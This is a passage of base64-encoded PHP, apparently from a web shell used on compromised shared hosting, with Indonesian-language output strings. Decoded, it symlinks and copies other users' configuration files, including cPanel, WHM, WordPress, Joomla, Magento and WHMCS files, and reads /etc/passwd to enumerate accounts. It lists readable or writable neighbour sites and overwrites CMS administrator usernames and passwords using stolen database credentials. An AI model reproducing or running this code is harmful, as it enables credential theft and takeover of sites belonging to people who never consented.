G5MMmgwZEhCa2IyTnpMMkZ3Y0M5bGRHTXZiRzlqWVd3dWVHMXNKeXdrYzJsMFpYTnpMaWN0VFdGblpXNTBieTUwZUhRbktUc05Dbk41Yld4cGJtc29KeTkyWVhJdmQzZDNMM1pvYjNOMGN5OG5MaVJ6YVhSbGMzTXVKeTlvZEhSd1pHOWpjeTloWkcxcGJpOWpiMjVtYVdjdWNHaHdKeXdrYzJsMFpYTnpMaWN0VDNCbGJtTmhjblF1ZEhoMEp5azdEUXB6ZVcxc2FXNXJLQ2N2ZG1GeUwzZDNkeTkyYUc5emRITXZKeTRrYzJsMFpYTnpMaWN2YUhSMGNHUnZZM012WTI5dVptbG5MM05sZEhScGJtZHpMbWx1WXk1d2FIQW5MQ1J6YVhSbGMzTXVKeTFRY21WemRHRnphRzl3TG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDNaaGNpOTNkM2N2ZG1odmMzUnpMeWN1SkhOcGRHVnpjeTRuTDJoMGRIQmtiMk56TDJOdmJtWnBaeTlyYjI1bGEzTnBMbkJvY0Njc0pITnBkR1Z6Y3k0bkxVeHZhMjl0WldScFlTNTBlSFFuS1RzTkNuTjViV3hwYm1zb0p5OTJZWEl2ZDNkM0wzWm9iM04wY3k4bkxpUnphWFJsYzNNdUp5OW9kSFJ3Wkc5amN5OXNiMnR2YldWa2FXRXZZMjl1Wm1sbkwydHZibVZyYzJrdWNHaHdKeXdrYzJsMFpYTnpMaWN0VEc5cmIyMWxaR2xoTG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDNaaGNpOTNkM2N2ZG1odmMzUnpMeWN1SkhOcGRHVnpjeTRuTDJoMGRIQmtiMk56TDNOc1kyOXVabWxuTG5Cb2NDY3NKSE5wZEdWemN5NG5MVk5wZEdWc2IyTnJMblI0ZENjcE93MEtjM2x0YkdsdWF5Z25MM1poY2k5M2QzY3ZkbWh2YzNSekx5Y3VKSE5wZEdWemN5NG5MMmgwZEhCa2IyTnpMMkZ3Y0d4cFkyRjBhVzl1TDJOdmJtWnBaeTlrWVhSaFltRnpaUzV3YUhBbkxDUnphWFJsYzNNdUp5MUZiR3hwYzJ4aFlpNTBlSFFuS1RzTkNuME5DbkJ5YVc1MElDSk1iMk5oZEdsdmJqb2dMaTljYmx4dUlqcz0iOw0KCQkkZmlsZSA9ICJpZHhfY29uZmlnL3Zob3N0LmNpbiI7DQoJCSRoYW5kbGUgPSBmb3BlbigkZmlsZSAsIncrIik7DQoJCWZ3cml0ZSgkaGFuZGxlICxiYXNlNjRfZGVjb2RlKCR2aG9zdCkpOw0KCQlmY2xvc2UoJGhhbmRsZSk7DQoJCWNobW9kKCRmaWxlLCAwNzU1KTsNCgkJaWYoZXhlKCJjZCBpZHhfY29uZmlnICYmIC4vdmhvc3QuY2luIikpIHsNCgkJCWVjaG8gIjxjZW50ZXI+PGEgaHJlZj0nJGxpbmtfY29uZmlnL2lkeF9jb25maWcnPjxmb250IGNvbG9yPWxpbWU+RG9uZTwvZm9udD48L2E+PC9jZW50ZXI+IjsNCgkJfSBlbHNlIHsNCgkJCWVjaG8gIjxjZW50ZXI+PGEgaHJlZj0nJGxpbmtfY29uZmlnL2lkeF9jb25maWcvdmhvc3QuY2luJz48Zm9udCBjb2xvcj1saW1lPkRvbmU8L2ZvbnQ+PC9hPjwvY2VudGVyPiI7DQoJCX0NCg0KCX0gZWxzZSB7DQoJCSRldGMgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpIG9yIGRpZSgiPHByZT48Zm9udCBjb2xvcj1yZWQ+Q2FuJ3QgcmVhZCAvZXRjL3Bhc3N3ZDwvZm9udD48L3ByZT4iKTsNCgkJd2hpbGUoJHBhc3N3ZCA9IGZnZXRzKCRldGMpKSB7DQoJCQlpZigkcGFzc3dkID09ICIiIHx8ICEkZXRjKSB7DQoJCQkJZWNobyAiPGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+IjsNCgkJCX0gZWxzZSB7DQoJCQkJcHJlZ19tYXRjaF9hbGwoJy8oLio/KTp4Oi8nLCAkcGFzc3dkLCAkdXNlcl9jb25maWcpOw0KCQkJCWZvcmVhY2goJHVzZXJfY29uZmlnWzFdIGFzICR1c2VyX2lkeCkgew0KCQkJCQkkdXNlcl9jb25maWdfZGlyID0gIi9ob21lLyR1c2VyX2lkeC9wdWJsaWNfaHRtbC8iOw0KCQkJCQlpZihpc19yZWFkYWJsZSgkdXNlcl9jb25maWdfZGlyKSkgew0KCQkJCQkJJGdyYWJfY29uZmlnID0gYXJyYXkoDQoJCQkJCQkJIi9ob21lLyR1c2VyX2lkeC8ubXkuY25mIiA9PiAiY3BhbmVsIiwNCgkJCQkJCQkiL2hvbWUvJHVzZXJfaWR4Ly5hY2Nlc3NoYXNoIiA9PiAiV0hNLWFjY2Vzc2hhc2giLA0KCQkJCQkJCSIkdXNlcl9jb25maWdfZGlyL3BvLWNvbnRlbnQvY29uZmlnLnBocCIgPT4gIlBvcG9qaSIsDQoJCQkJCQkJIiR1c2VyX2NvbmZpZ19kaXIvdmRvX2NvbmZpZy5waHAiID0+ICJWb29kb28iLA0KCQkJCQkJCSIkdXNlcl9jb25maWdfZGlyL2J3LWNvbmZpZ3MvY29uZmlnLmluaSIgPT4gIkJvc1dlYiIsDQoJCQkJCQkJIiR1c2VyX2NvbmZpZ19kaXIvY29uZmlnL2tvbmVrc2kucGhwIiA9PiAiTG9rb21lZGlhIiwNCgkJCQkJCQkiJHVzZXJfY29uZmlnX2Rpci9sb2tvbWVkaWEvY29uZmlnL2tvbmVrc2kucGhwIiA9PiAiTG9rb21lZGlhIiwNCgkJCQkJCQkiJHVzZXJfY29uZmlnX2Rpci9jbGllbnRhcmVhL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLA0KCQkJCQkJCSIkdXNlcl9jb25maWdfZGlyL3dobS9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwNCgkJCQkJCQkiJHVzZXJfY29uZmlnX2Rpci93aG1jcy9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwNCgkJCQkJCQkiJHVzZXJfY29uZmlnX2Rpci9mb3J1bS9jb25maWcucGhwIiA9PiAicGhwQkIiLA0KCQkJCQkJCSIkdXNlcl9jb25maWdfZGlyL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwIiA9PiAiRHJ1cGFsIiwNCgkJCQkJCQkiJHVzZXJfY29uZmlnX2Rpci9jb25maWcvc2V0dGluZ3MuaW5jLnBocCIgPT4gIlByZXN0YVNob3AiLA0KCQkJCQkJCSIkdXNlcl9jb25maWdfZGlyL2FwcC9ldGMvbG9jYWwueG1sIiA9PiAiTWFnZW50byIsDQoJCQkJCQkJIiR1c2VyX2NvbmZpZ19kaXIvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwNCgkJCQkJCQkiJHVzZXJfY29uZmlnX2Rpci9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsDQoJCQkJCQkJIiR1c2VyX2NvbmZpZ19kaXIvd3Avd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzcyIsDQoJCQkJCQkJIiR1c2VyX2NvbmZpZ19kaXIvd29yZHByZXNzL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkUHJlc3MiLA0KCQkJCQkJCSIkdXNlcl9jb25maWdfZGlyL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkUHJlc3MiLA0KCQkJCQkJCSIkdXNlcl9jb25maWdfZGlyL2FkbWluL2NvbmZpZy5waHAiID0+ICJPcGVuQ2FydCIsDQoJCQkJCQkJIiR1c2VyX2NvbmZpZ19kaXIvc2xjb25maWcucGhwIiA9PiAiU2l0ZWxvayIsDQoJCQkJCQkJIiR1c2VyX2NvbmZpZ19kaXIvYXBwbGljYXRpb24vY29uZmlnL2RhdGFiYXNlLnBocCIgPT4gIkVsbGlzbGFiIik7DQoJCQkJCQlmb3JlYWNoKCRncmFiX2NvbmZpZyBhcyAkY29uZmlnID0+ICRuYW1hX2NvbmZpZykgew0KCQkJCQkJCSRhbWJpbF9jb25maWcgPSBmaWxlX2dldF9jb250ZW50cygkY29uZmlnKTsNCgkJCQkJCQlpZigkYW1iaWxfY29uZmlnID09ICcnKSB7DQoJCQkJCQkJfSBlbHNlIHsNCgkJCQkJCQkJJGZpbGVfY29uZmlnID0gZm9wZW4oImlkeF9jb25maWcvJHVzZXJfaWR4LSRuYW1hX2NvbmZpZy50eHQiLCJ3Iik7DQoJCQkJCQkJCWZwdXRzKCRmaWxlX2NvbmZpZywkYW1iaWxfY29uZmlnKTsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0JCQ0KCQkJCX0NCgkJCX0JDQoJCX0NCgllY2hvICI8Y2VudGVyPjxhIGhyZWY9Jz9kaXI9JGRpci9pZHhfY29uZmlnJz48Zm9udCBjb2xvcj1saW1lPkRvbmU8L2ZvbnQ+PC9hPjwvY2VudGVyPiI7DQoJfQ0KfSBlbHNlaWYoJF9HRVRbJ2RvJ10gPT0gJ2p1bXBpbmcnKSB7DQoJJGkgPSAwOw0KCWVjaG8gIjxkaXYgY2xhc3M9J21hcmdpbjogNXB4IGF1dG87Jz4iOw0KCWlmKHByZWdfbWF0Y2goIi9oc3BoZXJlLyIsICRkaXIpKSB7DQoJCSR1cmxzID0gZXhwbG9kZSgiXHJcbiIsICRfUE9TVFsndXJsJ10pOw0KCQlpZihpc3NldCgkX1BPU1RbJ2p1bXAnXSkpIHsNCgkJCWVjaG8gIjxwcmU+IjsNCgkJCWZvcmVhY2goJHVybHMgYXMgJHVybCkgew0KCQkJCSR1cmwgPSBzdHJfcmVwbGFjZShhcnJheSgiaHR0cDovLyIsInd3dy4iKSwgIiIsIHN0cnRvbG93ZXIoJHVybCkpOw0KCQkJCSRldGMgPSAiL2V0Yy9wYXNzd2QiOw0KCQkJCSRmID0gZm9wZW4oJGV0YywiciIpOw0KCQkJCXdoaWxlKCRnZXRzID0gZmdldHMoJGYpKSB7DQoJCQkJCSRwZWNhaCA9IGV4cGxvZGUoIjoiLCAkZ2V0cyk7DQoJCQkJCSR1c2VyID0gJHBlY2FoWzBdOw0KCQkJCQkkZGlyX3VzZXIgPSAiL2hzcGhlcmUvbG9jYWwvaG9tZS8kdXNlciI7DQoJCQkJCWlmKGlzX2RpcigkZGlyX3VzZXIpID09PSB0cnVlKSB7DQoJCQkJCQkkdXJsX3VzZXIgPSAkZGlyX3VzZXIuIi8iLiR1cmw7DQoJCQkJCQlpZihpc19yZWFkYWJsZSgkdXJsX3VzZXIpKSB7DQoJCQkJCQkJJGkrKzsNCgkJCQkJCQkkanJ3ID0gIls8Zm9udCBjb2xvcj1saW1lPlI8L2ZvbnQ+XSA8YSBocmVmPSc/ZGlyPSR1cmxfdXNlcic+PGZvbnQgY29sb3I9Z29sZD4kdXJsX3VzZXI8L2ZvbnQ+PC9hPiI7DQoJCQkJCQkJaWYoaXNfd3JpdGFibGUoJHVybF91c2VyKSkgew0KCQkJCQkJCQkkanJ3ID0gIls8Zm9udCBjb2xvcj1saW1lPlJXPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kdXJsX3VzZXInPjxmb250IGNvbG9yPWdvbGQ+JHVybF91c2VyPC9mb250PjwvYT4iOw0KCQkJCQkJCX0NCgkJCQkJCQllY2hvICRqcncuIjxicj4iOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQlpZigkaSA9PSAwKSB7IA0KCQl9IGVsc2Ugew0KCQkJZWNobyAiPGJyPlRvdGFsIGFkYSAiLiRpLiIgS2FtYXIgZGkgIi4kaXA7DQoJCX0NCgkJZWNobyAiPC9wcmU+IjsNCgkJfSBlbHNlIHsNCgkJCWVjaG8gJzxjZW50ZXI+DQoJCQkJICA8Zm9ybSBtZXRob2Q9InBvc3QiPg0KCQkJCSAgTGlzdCBEb21haW5zOiA8YnI+DQoJCQkJICA8dGV4dGFyZWEgbmFtZT0idXJsIiBzdHlsZT0id2lkdGg6IDUwMHB4OyBoZWlnaHQ6IDI1MHB4OyI+JzsNCgkJCSRmcCA9IGZvcGVuKCIvaHNwaGVyZS9sb2NhbC9jb25maWcvaHR0cGQvc2l0ZXMvc2l0ZXMudHh0IiwiciIpOw0KCQkJd2hpbGUoJGdldHNzID0gZmdldHMoJGZwKSkgew0KCQkJCWVjaG8gJGdldHNzOw0KCQkJfQ0KCQkJZWNobyAgJzwvdGV4dGFyZWE+PGJyPg0KCQkJCSAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ikp1bXBpbmciIG5hbWU9Imp1bXAiIHN0eWxlPSJ3aWR0aDogNTAwcHg7IGhlaWdodDogMjVweDsiPg0KCQkJCSAgPC9mb3JtPjwvY2VudGVyPic7DQoJCX0NCgl9IGVsc2VpZihwcmVnX21hdGNoKCIvdmhvc3RzfHZob3N0LyIsICRkaXIpKSB7DQoJCXByZWdfbWF0Y2goIi9cL3Zhclwvd3d3XC8oLio/KVwvLyIsICRkaXIsICR2aCk7DQoJCSR1cmxzID0gZXhwbG9kZSgiXHJcbiIsICRfUE9TVFsndXJsJ10pOw0KCQlpZihpc3NldCgkX1BPU1RbJ2p1bXAnXSkpIHsNCgkJCWVjaG8gIjxwcmU+IjsNCgkJCWZvcmVhY2goJHVybHMgYXMgJHVybCkgew0KCQkJCSR1cmwgPSBzdHJfcmVwbGFjZSgid3d3LiIsICIiLCAkdXJsKTsNCgkJCQkkd2ViX3ZoID0gIi92YXIvd3d3LyIuJHZoWzFdLiIvJHVybC9odHRwZG9jcyI7DQoJCQkJaWYoaXNfZGlyKCR3ZWJfdmgpID09PSB0cnVlKSB7DQoJCQkJCWlmKGlzX3JlYWRhYmxlKCR3ZWJfdmgpKSB7DQoJCQkJCQkkaSsrOw0KCQkJCQkJJGpydyA9ICJbPGZvbnQgY29sb3I9bGltZT5SPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kd2ViX3ZoJz48Zm9udCBjb2xvcj1nb2xkPiR3ZWJfdmg8L2ZvbnQ+PC9hPiI7DQoJCQkJCQlpZihpc193cml0YWJsZSgkd2ViX3ZoKSkgew0KCQkJCQkJCSRqcncgPSAiWzxmb250IGNvbG9yPWxpbWU+Ulc8L2ZvbnQ+XSA8YSBocmVmPSc/ZGlyPSR3ZWJfdmgnPjxmb250IGNvbG9yPWdvbGQ+JHdlYl92aDwvZm9udD48L2E+IjsNCgkJCQkJCX0NCgkJCQkJCWVjaG8gJGpydy4iPGJyPiI7DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCWlmKCRpID09IDApIHsgDQoJCX0gZWxzZSB7DQoJCQllY2hvICI8YnI+VG90YWwgYWRhICIuJGkuIiBLYW1hciBkaSAiLiRpcDsNCgkJfQ0KCQllY2hvICI8L3ByZT4iOw0KCQl9IGVsc2Ugew0KCQkJZWNobyAnPGNlbnRlcj4NCgkJCQkgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQoJCQkJICBMaXN0IERvbWFpbnM6IDxicj4NCgkJCQkgIDx0ZXh0YXJlYSBuYW1lPSJ1cmwiIHN0eWxlPSJ3aWR0aDogNTAwcHg7IGhlaWdodDogMjUwcHg7Ij4nOw0KCQkJCSAgYmluZygiaXA6JGlwIik7DQoJCQllY2hvICAnPC90ZXh0YXJlYT48YnI+DQoJCQkJICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iSnVtcGluZyIgbmFtZT0ianVtcCIgc3R5bGU9IndpZHRoOiA1MDBweDsgaGVpZ2h0OiAyNXB4OyI+DQoJCQkJICA8L2Zvcm0+PC9jZW50ZXI+JzsNCgkJfQ0KCX0gZWxzZSB7DQoJCWVjaG8gIjxwcmU+IjsNCgkJJGV0YyA9IGZvcGVuKCIvZXRjL3Bhc3N3ZCIsICJyIikgb3IgZGllKCI8Zm9udCBjb2xvcj1yZWQ+Q2FuJ3QgcmVhZCAvZXRjL3Bhc3N3ZDwvZm9udD4iKTsNCgkJd2hpbGUoJHBhc3N3ZCA9IGZnZXRzKCRldGMpKSB7DQoJCQlpZigkcGFzc3dkID09ICcnIHx8ICEkZXRjKSB7DQoJCQkJZWNobyAiPGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+IjsNCgkJCX0gZWxzZSB7DQoJCQkJcHJlZ19tYXRjaF9hbGwoJy8oLio/KTp4Oi8nLCAkcGFzc3dkLCAkdXNlcl9qdW1waW5nKTsNCgkJCQlmb3JlYWNoKCR1c2VyX2p1bXBpbmdbMV0gYXMgJHVzZXJfaWR4X2p1bXApIHsNCgkJCQkJJHVzZXJfanVtcGluZ19kaXIgPSAiL2hvbWUvJHVzZXJfaWR4X2p1bXAvcHVibGljX2h0bWwiOw0KCQkJCQlpZihpc19yZWFkYWJsZSgkdXNlcl9qdW1waW5nX2RpcikpIHsNCgkJCQkJCSRpKys7DQoJCQkJCQkkanJ3ID0gIls8Zm9udCBjb2xvcj1saW1lPlI8L2ZvbnQ+XSA8YSBocmVmPSc/ZGlyPSR1c2VyX2p1bXBpbmdfZGlyJz48Zm9udCBjb2xvcj1nb2xkPiR1c2VyX2p1bXBpbmdfZGlyPC9mb250PjwvYT4iOw0KCQkJCQkJaWYoaXNfd3JpdGFibGUoJHVzZXJfanVtcGluZ19kaXIpKSB7DQoJCQkJCQkJJGpydyA9ICJbPGZvbnQgY29sb3I9bGltZT5SVzwvZm9udD5dIDxhIGhyZWY9Jz9kaXI9JHVzZXJfanVtcGluZ19kaXInPjxmb250IGNvbG9yPWdvbGQ+JHVzZXJfanVtcGluZ19kaXI8L2ZvbnQ+PC9hPiI7DQoJCQkJCQl9DQoJCQkJCQllY2hvICRqcnc7DQoJCQkJCQlpZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpIHsNCgkJCQkJCQkkZG9tYWluX2p1bXAgPSBmaWxlX2dldF9jb250ZW50cygiL2V0Yy9uYW1lZC5jb25mIik7CQ0KCQkJCQkJCWlmKCRkb21haW5fanVtcCA9PSAnJykgew0KCQkJCQkJCQllY2hvICIgPT4gKCA8Zm9udCBjb2xvcj1yZWQ+Z2FiaXNhIGFtYmlsIG5hbWEgZG9tYWluIG55YTwvZm9udD4gKTxicj4iOw0KCQkJCQkJCX0gZWxzZSB7DQoJCQkJCQkJCXByZWdfbWF0Y2hfYWxsKCIjL3Zhci9uYW1lZC8oLio/KS5kYiMiLCAkZG9tYWluX2p1bXAsICRkb21haW5zX2p1bXApOw0KCQkJCQkJCQlmb3JlYWNoKCRkb21haW5zX2p1bXBbMV0gYXMgJGRqKSB7DQoJCQkJCQkJCQkkdXNlcl9qdW1waW5nX3VybCA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvJGRqIikpOw0KCQkJCQkJCQkJJHVzZXJfanVtcGluZ191cmwgPSAkdXNlcl9qdW1waW5nX3VybFsnbmFtZSddOw0KCQkJCQkJCQkJaWYoJHVzZXJfanVtcGluZ191cmwgPT0gJHVzZXJfaWR4X2p1bXApIHsNCgkJCQkJCQkJCQllY2hvICIgPT4gKCA8dT4kZGo8L3U+ICk8YnI+IjsNCgkJCQkJCQkJCQlicmVhazsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJfQ0KCQkJCQkJCX0NCgkJCQkJCX0gZWxzZSB7DQoJCQkJCQkJZWNobyAiPGJyPiI7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCX0NCgkJaWYoJGkgPT0gMCkgeyANCgkJfSBlbHNlIHsNCgkJCWVjaG8gIjxicj5Ub3RhbCBhZGEgIi4kaS4iIEthbWFyIGRpICIuJGlwOw0KCQl9DQoJCWVjaG8gIjwvcHJlPiI7DQoJfQ0KCWVjaG8gIjwvZGl2PiI7DQp9IGVsc2VpZigkX0dFVFsnZG8nXSA9PSAnYXV0b19lZGl0X3VzZXInKSB7DQoJaWYoJF9QT1NUWydoYWphciddKSB7DQoJCWlmKHN0cmxlbigkX1BPU1RbJ3Bhc3NfYmFydSddKSA8IDYgT1Igc3RybGVuKCRfUE9TVFsndXNlcl9iYXJ1J10pIDwgNikgew0KCQkJZWNobyAidXNlcm5hbWUgYXRhdSBwYXNzd29yZCBoYXJ1cyBsZWJpaCBkYXJpIDYga2FyYWt0ZXIiOw0KCQl9IGVsc2Ugew0KCQkJJHVzZXJfYmFydSA9ICRfUE9TVFsndXNlcl9iYXJ1J107DQoJCQkkcGFzc19iYXJ1ID0gbWQ1KCRfUE9TVFsncGFzc19iYXJ1J10pOw0KCQkJJGNvbmYgPSAkX1BPU1RbJ2NvbmZpZ19kaXInXTsNCgkJCSRzY2FuX2NvbmYgPSBzY2FuZGlyKCRjb25mKTsNCgkJCWZvcmVhY2goJHNjYW5fY29uZiBhcyAkZmlsZV9jb25mKSB7DQoJCQkJaWYoIWlzX2ZpbGUoIiRjb25mLyRmaWxlX2NvbmYiKSkgY29udGludWU7DQoJCQkJJGNvbmZpZyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIkY29uZi8kZmlsZV9jb25mIik7DQoJCQkJaWYocHJlZ19tYXRjaCgiL0pDb25maWd8am9vbWxhLyIsJGNvbmZpZykpIHsNCgkJCQkJJGRiaG9zdCA9IGFtYmlsa2F0YSgkY29uZmlnLCJob3N0ID0gJyIsIiciKTsNCgkJCQkJJGRidXNlciA9IGFtYmlsa2F0YSgkY29uZmlnLCJ1c2VyID0gJyIsIiciKTsNCgkJCQkJJGRicGFzcyA9IGFtYmlsa2F0YSgkY29uZmlnLCJwYXNzd29yZCA9ICciLCInIik7DQoJCQkJCSRkYm5hbWUgPSBhbWJpbGthdGEoJGNvbmZpZywiZGIgPSAnIiwiJyIpOw0KCQkJCQkkZGJwcmVmaXggPSBhbWJpbGthdGEoJGNvbmZpZywiZGJwcmVmaXggPSAnIiwiJyIpOw0KCQkJCQkkcHJlZml4ID0gJGRicHJlZml4LiJ1c2VycyI7DQoJCQkJCSRjb25uID0gbXlzcWxfY29ubmVjdCgkZGJob3N0LCRkYnVzZXIsJGRicGFzcyk7DQoJCQkJCSRkYiA9IG15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsNCgkJCQkJJHEgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAkcHJlZml4IE9SREVSIEJZIGlkIEFTQyIpOw0KCQkJCQkkcmVzdWx0ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHEpOw0KCQkJCQkkaWQgPSAkcmVzdWx0WydpZCddOw0KCQkJCQkkc2l0ZSA9IGFtYmlsa2F0YSgkY29uZmlnLCJzaXRlbmFtZSA9ICciLCInIik7DQoJCQkJCSR1cGRhdGUgPSBteXNxbF9xdWVyeSgiVVBEQVRFICRwcmVmaXggU0VUIHVzZXJuYW1lPSckdXNlcl9iYXJ1JyxwYXNzd29yZD0nJHBhc3NfYmFydScgV0hFUkUgaWQ9JyRpZCciKTsNCgkJCQkJZWNobyAiQ29uZmlnID0+ICIuJGZpbGVfY29uZi4iPGJyPiI7DQoJCQkJCWVjaG8gIkNNUyA9PiBKb29tbGE8YnI+IjsNCgkJCQkJaWYoJHNpdGUgPT0gJycpIHsNCgkJCQkJCWVjaG8gIlNpdGVuYW1lID0+IDxmb250IGNvbG9yPXJlZD5lcnJvciwgZ2FiaXNhIGFtYmlsIG5hbWEgZG9tYWluIG55YTwvZm9udD48YnI+IjsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCWVjaG8gIlNpdGVuYW1lID0+ICRzaXRlPGJyPiI7DQoJCQkJCX0NCgkJCQkJaWYoISR1cGRhdGUgT1IgISRjb25uIE9SICEkZGIpIHsNCgkJCQkJCWVjaG8gIlN0YXR1cyA9PiA8Zm9udCBjb2xvcj1yZWQ+Ii5teXNxbF9lcnJvcigpLiI8L2ZvbnQ+PGJyPjxicj4iOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJZWNobyAiU3RhdHVzID0+IDxmb250IGNvbG9yPWxpbWU+c3Vrc2VzIGVkaXQgdXNlciwgc2lsYWthbiBsb2dpbiBkZW5nYW4gdXNlciAmIHBhc3MgeWFuZyBiYXJ1LjwvZm9udD48YnI+PGJyPiI7DQoJCQkJCX0NCgkJCQkJbXlzcWxfY2xvc2UoJGNvbm4pOw0KCQkJCX0gZWxzZWlmKHByZWdfbWF0Y2goIi9Xb3JkUHJlc3MvIiwkY29uZmlnKSkgew0KCQkJCQkkZGJob3N0ID0gYW1iaWxrYXRhKCRjb25maWcsIkRCX0hPU1QnLCAnIiwiJyIpOw0KCQkJCQkkZGJ1c2VyID0gYW1iaWxrYXRhKCRjb25maWcsIkRCX1VTRVInLCAnIiwiJyIpOw0KCQkJCQkkZGJwYXNzID0gYW1iaWxrYXRhKCRjb25maWcsIkRCX1BBU1NXT1JEJywgJyIsIiciKTsNCgkJCQkJJGRibmFtZSA9IGFtYmlsa2F0YSgkY29uZmlnLCJEQl9OQU1FJywgJyIsIiciKTsNCgkJCQkJJGRicHJlZml4ID0gYW1iaWxrYXRhKCRjb25maWcsInRhYmxlX3ByZWZpeCAgPSAnIiwiJyIpOw0KCQkJCQkkcHJlZml4ID0gJGRicHJlZml4LiJ1c2VycyI7DQoJCQkJCSRvcHRpb24gPSAkZGJwcmVmaXguIm9wdGlvbnMiOw0KCQkJCQkkY29ubiA9IG15c3FsX2Nvbm5lY3QoJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MpOw0KCQkJCQkkZGIgPSBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSk7DQoJCQkJCSRxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHByZWZpeCBPUkRFUiBCWSBpZCBBU0MiKTsNCgkJCQkJJHJlc3VsdCA9IG15c3FsX2ZldGNoX2FycmF5KCRxKTsNCgkJCQkJJGlkID0gJHJlc3VsdFtJRF07DQoJCQkJCSRxMiA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICRvcHRpb24gT1JERVIgQlkgb3B0aW9uX2lkIEFTQyIpOw0KCQkJCQkkcmVzdWx0MiA9IG15c3FsX2ZldGNoX2FycmF5KCRxMik7DQoJCQkJCSR0YXJnZXQgPSAkcmVzdWx0MltvcHRpb25fdmFsdWVdOw0KCQkJCQlpZigkdGFyZ2V0ID09ICcnKSB7DQoJCQkJCQkkdXJsX3RhcmdldCA9ICJMb2dpbiA9PiA8Zm9udCBjb2xvcj1yZWQ+ZXJyb3IsIGdhYmlzYSBhbWJpbCBuYW1hIGRvbWFpbiBueWFhPC9mb250Pjxicj4iOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJJHVybF90YXJnZXQgPSAiTG9naW4gPT4gPGEgaHJlZj0nJHRhcmdldC93cC1sb2dpbi5waHAnIHRhcmdldD0nX2JsYW5rJz48dT4kdGFyZ2V0L3dwLWxvZ2luLnBocDwvdT48L2E+PGJyPiI7DQoJCQkJCX0NCgkJCQkJJHVwZGF0ZSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgJHByZWZpeCBTRVQgdXNlcl9sb2dpbj0nJHVzZXJfYmFydScsdXNlcl9wYXNzPSckcGFzc19iYXJ1JyBXSEVSRSBpZD0nJGlkJyIpOw0KCQkJCQllY2hvICJDb25maWcgPT4gIi4kZmlsZV9jb25mLiI8YnI+IjsNCgkJCQkJZWNobyAiQ01TID0+IFdvcmRwcmVzczxicj4iOw0KCQkJCQllY2hvICR1cmxfdGFyZ2V0Ow0KCQkJCQlpZighJHVwZGF0ZSBPUiAhJGNvbm4gT1IgISRkYikgew0KCQkJCQkJZWNobyAiU3RhdHVzID0+IDxmb250IGNvbG9yPXJlZD4iLm15c3FsX2Vycm9yKCkuIjwvZm9udD48YnI+PGJyPiI7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQllY2hvICJTdGF0dXMgPT4gPGZvbnQgY29sb3I9bGltZT5zdWtzZXMgZWRpdCB1c2VyLCBzaWxha2FuIGxvZ2luIGRlbmdhbiB1c2VyICYgcGFzcyB5YW5nIGJhcnUuPC9mb250Pjxicj48YnI+IjsNCgkJCQkJfQ0KCQkJCQlteXNxbF9jbG9zZSgkY29ubik7DQoJCQkJfSBlbHNlaWYocHJlZ19tYXRjaCgiL01hZ2VudG98TWFnZV9Db3JlLyIsJGNvbmZpZykpIHsNCgkJCQkJJGRiaG9zdCA9IGFtYmlsa2F0YSgkY29uZmlnLCI8aG9zdD48IVtDREFUQVsiLCJdXT48L2hvc3Q+Iik7DQoJCQkJCSRkYnVzZXIgPSBhbWJpbGthdGEoJGNvbmZpZywiPHVzZXJuYW1lPjwhW0NEQVRBWyIsIl1dPjwvdXNlcm5hbWU+Iik7DQoJCQkJCSRkYnBhc3MgPSBhbWJpbGthdGEoJGNvbmZpZywiPHBhc3N3b3JkPjwhW0NEQVRBWyIsIl1dPjwvcGFzc3dvcmQ+Iik7DQoJCQkJCSRkYm5hbWUgPSBhbWJpbGthdGEoJGNvbmZpZywiPGRibmFtZT48IVtDREFUQVsiLCJdXT48L2RibmFtZT4iKTsNCgkJCQkJJGRicHJlZml4ID0gYW1iaWxrYXRhKCRjb25maWcsIjx0YWJsZV9wcmVmaXg+PCFbQ0RBVEFbIiwiXV0+PC90YWJsZV9wcmVmaXg+Iik7DQoJCQkJCSRwcmVmaXggPSAkZGJwcmVmaXguImFkbWluX3VzZXIiOw0KCQkJCQkkb3B0aW9uID0gJGRicHJlZml4LiJjb3JlX2NvbmZpZ19kYXRhIjsNCgkJCQk